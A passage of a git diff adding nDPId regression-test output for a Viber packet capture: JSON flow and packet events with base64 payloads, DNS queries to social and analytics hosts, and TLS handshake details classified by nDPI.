FkZHJlc3M+dXJuOnV1aWQ6ZTMyNDgwMDAtODBjZS0xMWRiLTgwMDAtMDAxYmE5OWVjOTU2PC93c2E6QWRkcmVzcz48L3dzYTpFbmRwb2ludFJlZmVyZW5jZT48L3dzZDpSZXNvbHZlPjwvc29hcDpCb2R5Pjwvc29hcDpFbnZlbG9wZT4="} diff --git a/test/results/viber.pcap.out b/test/results/viber.pcap.out new file mode 100644 index 000000000..1100839b4 --- /dev/null +++ b/test/results/viber.pcap.out @@ -0,0 +1,258 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"viber.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1527155638428,"flow_last_seen":0,"flow_tot_l4_data_len":133,"flow_min_l4_data_len":133,"flow_max_l4_data_len":133,"flow_avg_l4_data_len":133,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"52.0.253.101","src_port":33208,"dst_port":4244,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00561{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":428936,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AA6OMNv9MAdNo1+nCABFAACZvbBAAEAGio\/AqAARNAD9ZYG4EJTYH5QATQ0UaIAYAtokAwAAAQEICgAhYEL3kz3SZQAKAAAALtCh9tIA1PL3FQOheV4He+mBM0W\/i9pTb10sHI+OMXtBs1b9JHGGgzJlSCkVK80QeHWJMpbzU2NcxAJaXXoLguc1CK5osKkCx6zZTIH0SZ0piWwLO+YlPXpdR9T6nHw="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"viber.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1527155638474,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":45743,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":474128,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AA6OMNv9MAdNo1+nCABFAABAHQZAAEARnDbAqAARwKgAD7KvADUALIZ64YMBAAABAAAAAAAABWdyYXBoCGZhY2Vib29rA2NvbQAAAQAB"} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"viber.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1527155638474,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":45743,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Facebook","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"graph.facebook.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00609{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":476527,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"MAdNo1+nAA6OMNv9CABFAAC9W3xAAEARXUPAqAAPwKgAEQA1sq8AqYax4YOBgAABAAMAAgACBWdyYXBoCGZhY2Vib29rA2NvbQAAAQABwAwABQABAAAK\/QAGA2FwacASwDAABQABAAADcAAMBHN0YXIEYzEwcsASwEIAAQABAAAAIgAEHw1WCMBHAAIAAQAAChUABwFiAm5zwEfARwACAAEAAAoVAAQBYcBswH0AAQABAAAKFQAERavvC8BqAAEAAQAAChUABEWr\/ws="} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3,"source":"viber.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1527155638474,"flow_last_seen":1527155638476,"flow_tot_l4_data_len":213,"flow_min_l4_data_len":44,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":106,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":45743,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Facebook","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"graph.facebook.com","num_queries":1,"num_answers":7,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"31.13.86.8"}} +00499{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":483176,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"AA6OMNv9MAdNo1+nCABFAABsvbFAAEAGirvAqAARNAD9ZYG4EJTYH5RlTQ0UaIAYAtrUUgAAAQEICgAhYFH3kz3SOAALAAAAldaoLlKjmwog1MjwGSIlPYr6Sdpf8civ07lgAXs3mNLP4I1IauuXnWuqSM\/O114Rmek="} +00420{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":524866,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0M+hAACYGLr00AP1lwKgAERCUgbhNDRRo2B+UZYAQAIxrZwAAAQEICveUYGsAIWBC"} +00527{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":525136,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"MAdNo1+nAA6OMNv9CABFAACAM+lAACYGLnA0AP1lwKgAERCUgbhNDRRo2B+UZYAYAIyDiQAAAQEICveUYGwAIWBCTAAOAAAA7ZKoDv3w6OEJqmeEcnEl5cUBQprrMM7Rp8izc+yMxyWcB68VLspY31LXwDQ0RwmmKdwU4EmaqJ3KShawrAeJ2amPhoabWg=="} +00420{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":527168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0vbJAAEAGivLAqAARNAD9ZYG4EJTYH5SdTQ0UtIAQAtpoeQAAAQEICgAhYF33lGBs"} +01027{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":568956,"pkt_caplen":508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":508,"pkt_l4_len":474,"pkt":"AA6OMNv9MAdNo1+nCABFAAHuvbNAAEAGiTfAqAARNAD9ZYG4EJTYH5SdTQ0UtIAYAtoJEwAAAQEICgAhYGf3lGBsugEMAAAAsGtzIyOFwMc2olvII903z1YMue\/l99K9yio55BRnVkGA9Z15tyDEXZAT730gqk1RsrHCC6gtl5gb3O9r\/d5dS8IlFsdSXeECAzm8YWXZj1e7wCFrmVRL6lUzQddi5JxF9g87wySgPBDvGh56S8oMsLPVrKAkpCtmbqkpXIfwsx\/YjUNhbyY8HMCYHahbi4wElfIDwb8Z7CeMqGo3Zhel9qCZKgKSXiUteVSfnzjoUD+O9K3jp\/2\/si6XWXrDVTVsZMpiuxXuOWseC+7kt0UOpW466kh2eqagsDLUDcuew\/B2s+jNrOiXyuGZHqbTk0acxJN7lAEEY66aNLT9letC5lrC1xBVwq4OQ6P3tQZ6Crhe\/9gyaRAYOSOH4ypEOWAArJKozXzZkCrDA\/z8aR2K6JQWXgahb7TclxA6B9sGoaMhuDOIMWqrd02OzzPrHZhUZLN\/XpW\/NV0zkDsweeIJa3MDEKItySfGK6XLd+Hb1ObZGkyIUC7kiS+ZpEBoOPFUmXMZY7hJ7GJX+qm\/E1OpHDhXGWpSloILcz40XqK1\/ikkHBU9Y9a+puGKJNL90myxfPox4g=="} +00510{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":582184,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"MAdNo1+nAA6OMNv9CABFAAB0M+pAACYGLns0AP1lwKgAERCUgbhNDRS02B+UnYAYAIwQogAAAQEICveUYKUAIWBRQAAPAAAAPvIXL3EdR0EX2OM4ncmY88xy927Xy7SGfg+j8yPCe1JiAp0K2pE8ZJXDqxZswZaPQeeV6PP61om8kg=="} +00421{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":585043,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0vbRAAEAGivDAqAARNAD9ZYG4EJTYH5ZXTQ0U9IAQAtpmOAAAAQEICgAhYGv3lGCl"} +00516{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":674271,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"MAdNo1+nAA6OMNv9CABFAAB4M+tAACYGLnY0AP1lwKgAERCUgbhNDRT02B+WV4AYAJW3YgAAAQEICveUYQEAIWBnRAAQAAAAhWyJ8NwOoiiefvfHWmYSvvyMNosILosbQOgWVmb9FwMzhNX+D1qiZakE4ObB3LGQCYZWvxRShcP8Pqrl1bo="} +00423{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155638,"pkt_ts_usec":676652,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0vbVAAEAGiu\/AqAARNAD9ZYG4EJTYH5ZXTQ0VOIAQAtplgQAAAQEICgAhYIL3lGEB"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"viber.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1527155639005,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":35283,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":5882,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8HWBAAEARm+DAqAARwKgAD4nTADUAKI8By5wBAAABAAAAAAAAA2FwcAZhZGp1c3QDY29tAAABAAE="} +00630{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"viber.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1527155639005,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":35283,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"app.adjust.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00738{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":8484,"pkt_caplen":303,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":303,"pkt_l4_len":269,"pkt":"MAdNo1+nAA6OMNv9CABFAAEhW4BAAEARXNvAqAAPwKgAEQA1idMBDcumy5yBgAABAAQABAAEA2FwcAZhZGp1c3QDY29tAAABAAHADAABAAEAAAHMAASyots6wAwAAQABAAABzAAEsqLbmcAMAAEAAQAAAcwABLKi2LPADAABAAEAAAHMAAS5l8wIwBAAAgABAAKIXQATBG5zMDEGYWRqdXN0BXdvcmtzAMAQAAIAAQACiF0AFARkbnMxA3AwOQVuc29uZQNuZXQAwBAAAgABAAKIXQAHBGRuczLAkMAQAAIAAQACiF0ABwRuczAywHHAiwABAAEAAWUPAATGMywJwKsAAQABAAFlDwAExjMtCcBsAAEAAQAAMG8ABC02EQHAvgABAAEAADBvAAQtNhFB"} +00661{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":14,"source":"viber.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":1527155639005,"flow_last_seen":1527155639008,"flow_tot_l4_data_len":309,"flow_min_l4_data_len":40,"flow_max_l4_data_len":269,"flow_avg_l4_data_len":154,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":35283,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"app.adjust.com","num_queries":1,"num_answers":12,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"178.162.219.58"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"viber.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1527155639234,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":62872,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":234839,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AA6OMNv9MAdNo1+nCABFAABAHWRAAEARm9jAqAARwKgAD\/WYADUALODJ\/WMBAAABAAAAAAAABG1hcGkJYXBwdGltaXplA2NvbQAAAQAB"} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"viber.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1527155639234,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":62872,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"mapi.apptimize.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00839{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":237450,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"MAdNo1+nAA6OMNv9CABFAAFnW5VAAEARXIDAqAAPwKgAEQA19ZgBU\/qk\/WOBgAABAAkABAABBG1hcGkJYXBwdGltaXplA2NvbQAAAQABwAwABQABAAAKmgACwBHAEQABAAEAAAA7AAQ2RabiwBEAAQABAAAAOwAENrtbtsARAAEAAQAAADsABCLf10HAEQABAAEAAAA7AAQjoIExwBEAAQABAAAAOwAEI6WM3sARAAEAAQAAADsABCOitm\/AEQABAAEAAAA7AAQ2RVffwBEAAQABAAAAOwAENrpW+MARAAIAAQAAA2AAGQducy0xODgzCWF3c2Rucy00MwJjbwJ1awDAEQACAAEAAANgABcHbnMtMTEyOQlhd3NkbnMtMTMDb3JnAMARAAIAAQAAA2AAFgZucy02ODUJYXdzZG5zLTIxA25ldADAEQACAAEAAANgABMGbnMtNDczCWF3c2Rucy01OcAbwSgAAQABAAADYAAEzfvB2Q=="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"viber.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_first_seen":1527155639234,"flow_last_seen":1527155639237,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":44,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":191,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":62872,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"mapi.apptimize.com","num_queries":1,"num_answers":14,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.69.166.226"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"viber.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1527155639240,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.69.166.226","src_port":36986,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":240854,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8C6FAAEAGkTrAqAARNkWm4pB6Abv8W2quAAAAAKAC\/\/9PrwAAAgQFtAQCCAoAIWEPAAAAAAEDAwc="} +00434{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":414725,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAAOYG9to2RabiwKgAEQG7kHpPMSQJ\/Ftqr6ASaN+BOQAAAgQFtAQCCApMsKWZACFhDwEDAwg="} +00421{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":417273,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0C6JAAEAGkUHAqAARNkWm4pB6Abv8W2qvTzEkCoAQAq0WDQAAAQEICgAhYTtMsKWZ"} +00666{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":419114,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"AA6OMNv9MAdNo1+nCABFAADoC6NAAEAGkIzAqAARNkWm4pB6Abv8W2qvTzEkCoAYAq3FAQAAAQEICgAhYTtMsKWZFgMBAK8BAACrAwOf\/2TjK8r1kWpdan2TJekyDzujbi8jagHQAHL6QuSe+wAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABm\/wEAAQAAAAAXABUAABJtYXBpLmFwcHRpbWl6ZS5jb20AFwAAACMAAAANABAADgQDBAEFAwUBBgMGAQIBAAUABQEAAAAAABAACwAJCGh0dHAvMS4xAAsAAgEAAAoACAAGAB0AFwAY"} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"viber.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1527155639240,"flow_last_seen":1527155639419,"flow_tot_l4_data_len":324,"flow_min_l4_data_len":32,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.69.166.226","src_port":36986,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mapi.apptimize.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00422{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":592888,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0gc9AAOYGdRM2RabiwKgAEQG7kHpPMSQK\/FtrY4AQAG4XbAAAAQEICkywpcUAIWE7"} +02370{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155639,"pkt_ts_usec":594657,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcgdBAAOYGb2o2RabiwKgAEQG7kHpPMSQK\/FtrY4AQAG6arAAAAQEICkywpcYAIWE7FgMDAEwCAABIAwMLHEIErVr5e+d+yFhQeYy5TJaKTvDbe+d55IGEJK9XMADALwAAIP8BAAEAAAsABAMAAQIAIwAAABAACwAJCGh0dHAvMS4xFgMDEVgLABFUABFRAAW+MIIFujCCBKKgAwIBAgIQSJIT4MMvKqIG9KAsMNS0lTANBgkqhkiG9w0BAQsFADCBljELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxPDA6BgNVBAMTM0NPTU9ETyBSU0EgT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTAeFw0xNjAyMTEwMDAwMDBaFw0xOTA0MTAyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEOMAwGA1UEERMFOTQwNDMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRkwFwYDVQQJExAxOTU5IExhbmRpbmdzIERyMRcwFQYDVQQKEw5BcHB0aW1pemUsIEluYzEcMBoGA1UECxMTUHJlbWl1bVNTTCBXaWxkY2FyZDEYMBYGA1UEAwwPKi5hcHB0aW1pemUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1yweODrn0HMixsXfKOospPUGhUn\/osi07WYbM2MA5hMxNJIlpLzRykh557oNhQYEnhUd1dP01i00IDibJyJOOn9wLohH2qjeTtgA5KS6ToWu75VgJV6kyq6X3rlgIIgDLmwZubwQQHVok1qPh0PmBn4+G2Zpyt1dLhrz99NApchcdWgEl9Yafe2\/jZIbMXd8\/6bk+oQ5ItsgdSSwKD3f0DylPoEr9HglXrseuMgvYLDhmeKArfgb\/Ql7VVIo1qs4oGWYqtWt3ZwW7mTEy3yekKAtTVyReu+biZSQBW05Hgn4raIgigTR\/EJ+sUdDvDc9deVlXnSuOEIn\/ynWk2oJnQIDAQABo4IB6DCCAeQwHwYDVR0jBBgwFoAUmvMr2s+tT7YvuypISCoStxtCwSQwHQYDVR0OBBYEFHCj31xxJa8\/ZGYVVTFqBgDRAaWdMA4GA1UdDwEB\/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBQBgNVHSAESTBHMDsGDCsGAQQBsjEBAgEDBDArMCkGCCsGAQUFBwIBFh1odHRwczovL3NlY3VyZS5jb21vZG8uY29tL0NQUzAIBgZngQwBAgIwWgYDVR0fBFMwUTBPoE2gS4ZJaHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBT3JnYW5pemF0aW9uVmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNybDCBiwYIKwYBBQUHAQEEfzB9MFUGCCsGAQUFBzAChklodHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FPcmdhbml6YXRpb25WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wKQYDVR0RBCIwIIIPKi5hcHB0aW1pemUuY29tgg1hcHB0aW1pemUuY29tMA0GCSqGSIb3DQEBCwUAA4IBAQBsVTXMfmfu7FXFawh8Q+pRoJzZtRl1uV217huAjn4GLi61TfLIkqmrl2rFaFJlDwDA3JACJXHYlATCvcPnukIAvcpTxX+UAJNejiY5g\/DFg09EeKw73yH4cPtSkqJQp1tWUGB7WF1aVpSCb\/23LG2ceNppRmm0jzFXqYirkKy5PS4pnf9v3bTXaUg="} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":22,"source":"viber.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":6,"flow_first_seen":1527155639240,"flow_last_seen":1527155639594,"flow_tot_l4_data_len":1836,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.69.166.226","src_port":36986,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mapi.apptimize.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"8d2a028aa94425f76ced7826b1f39039","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} 